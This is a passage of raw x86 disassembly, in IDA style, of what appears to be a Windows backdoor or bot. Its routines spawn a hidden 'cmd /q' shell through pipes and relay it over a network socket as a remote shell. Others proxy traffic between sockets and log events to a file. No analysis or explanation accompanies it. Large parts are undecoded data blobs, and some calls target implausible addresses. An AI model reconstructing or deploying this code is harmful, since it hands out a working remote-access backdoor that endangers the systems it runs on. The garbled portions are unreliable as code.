5390022Dh dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 6DE89050h, 8B0227F4h, 0C969B84Dh, 234h, 8189C63Bh dd 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh, 0F3C2E832h dd 0EB900227h, 0B8E890EDh, 500227FCh, 43422468h, 45CEE800h dd 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh, 0FBEC858Dh dd 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h, 75C47539h dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh dd 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h, 4CB00Ch dd 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 0F336E890h dd 335B022Dh, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 call near ptr 26908FFh nop push eax push offset unk_434384 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 call near ptr 26908FFh nop push eax push offset unk_434384 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 26A06C2h nop loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 2790000h nop sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 26908FFh push eax push offset unk_434350 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 26A06C2h push 1 push dword ptr [esi+8] nop call near ptr 2710B5Eh loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 26908FFh push eax push offset unk_434434 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 nop call near ptr 26908FFh push eax push offset unk_4343F4 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343CC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2720000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2670B1Dh test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx call near ptr 2670822h nop jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 26908FFh push eax push offset unk_434474 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344B4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx nop call near ptr 27900D7h jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2700000h nop test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 27ED5FE8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 27ECB3E8h, 90EDEB02h dd 27F5AAE8h, 858D5002h, 0FFFFFD2Ch, 43452468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 0EC32E856h, 5F90022Dh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Dh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h dd 90022DEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 2DEAE7E8h, 106A9002h, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Dh, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 0E85359FFh, 22DE9E0h, 4006890h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Dh, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h db 2Dh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0E816E800h dd 39900227h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Dh dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 27E74FE8h, 8DFF9002h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 0E8000001h, 227E71Ch, 858D5390h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Dh, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Dh dd 3E8h, 27E3FBE8h, 0E8579002h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 27901DBh lea eax, [ebp-114h] push 104h push eax nop call near ptr 2680AB1h lea eax, [ebp-114h] push offset asc_434E54 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E24 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 